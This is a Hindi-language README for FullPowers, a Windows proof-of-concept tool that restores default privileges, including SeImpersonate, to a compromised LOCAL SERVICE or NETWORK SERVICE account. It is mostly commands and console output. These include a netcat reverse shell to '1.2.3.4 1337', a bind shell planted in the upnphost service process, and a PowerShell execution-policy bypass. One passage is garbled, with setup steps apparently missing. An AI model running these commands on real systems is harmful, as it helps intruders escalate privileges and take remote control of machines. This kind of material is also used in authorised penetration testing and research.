
किसी LOCAL/NETWORK SERVICE खाते के डिफ़ॉल्ट विशेषाधिकार सेट को पुनर्प्राप्त करें।
FullPowers एक प्रूफ-ऑफ-कॉन्सेप्ट टूल है जो मैंने सेवा खाते के डिफ़ॉल्ट विशेषाधिकार सेट को स्वचालित रूप से पुनर्प्राप्त करने के लिए बनाया है, जिसमें SeAssignPrimaryToken और SeImpersonate शामिल हैं।
विंडोज़ पर, LOCAL SERVICE या NETWORK SERVICE के रूप में निष्पादित कुछ सेवाओं को विशेषाधिकारों के एक सीमित सेट के साथ चलाने के लिए कॉन्फ़िगर किया गया है। इसलिए, भले ही सेवा से समझौता किया गया हो, आपको स्वर्णिम प्रतिरूपण विशेषाधिकार नहीं मिलेंगे और LOCAL SYSTEM तक विशेषाधिकार वृद्धि अधिक जटिल होनी चाहिए। हालाँकि, मैंने पाया कि, जब आप एक निर्धारित कार्य बनाते हैं, तो टास्क शेड्यूलर सेवा द्वारा बनाई गई नई प्रक्रिया में संबंधित उपयोगकर्ता खाते के सभी डिफ़ॉल्ट विशेषाधिकार होते हैं (SeImpersonate को छोड़कर)। इसलिए, कुछ टोकन हेरफेर के साथ, आप सभी लुप्त विशेषाधिकारों के साथ एक नई प्रक्रिया उत्पन्न कर सकते हैं।
अधिक जानकारी के लिए: https://itm4n.github.io/localservice-privileges/
⚠️ यह टूल केवल LOCAL SERVICE या NETWORK SERVICE के रूप में निष्पादित किया जाना चाहिए।
आप -h विकल्प का उपयोग करके सहायता संदेश देख सकते हैं।
c:\TOOLS>FullPowers -h
FullPowers v0.1 (by @itm4n)
This tool leverages the Task Scheduler to recover the default privilege set of a service account.
For more information: https://itm4n.github.io/localservice-privileges/
Optional arguments:
-v Verbose mode, used for debugging essentially
-c <CMD> Custom command line to execute (default is 'C:\Windows\System32\cmd.exe')
-x Try to get the extended set of privileges (might fail with NETWORK SERVICE)
-z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:\TOOLS>FullPowers
[+] Successfully created scheduled task. PID=9976
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>
c:\TOOLS>FullPowers -c "powershell -ep Bypass"
[+] Successfully created scheduled task. PID=9028
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\WINDOWS\system32> Get-ExecutionPolicy
Bypass
c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
[+] Successfully created scheduled task. PID=5482
[+] CreateProcessAsUser() OK
क्या आप स्वयं इस PoC का परीक्षण करना चाहते हैं? यह बहुत अच्छा है! आपको आरंभ करने के लिए यहां कुछ सरल निर्देश दिए गए हैं।
समग्र विचार एक मौजूदा सेवा की प्रक्रिया से बाइंडशेल शुरू करना, उससे कनेक्ट करना और फिर निष्पादन योग्य चलाना है।
upnphost।C:\TOOLS>RunFromProcess-x64.exe <PID> C:\TOOLS\nc64.exe -l -p 9001 -e cmd
C:\TOOLS>nc64.exe 127.0.0.1 9001
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\local service
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================= ======================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
c:\TOOLS>FullPowers
[+] Started dummy thread with id 5568
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\local service
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
अब आपके पास प्रतिरूपण विशेषाधिकारों वाला एक शेल होना चाहिए!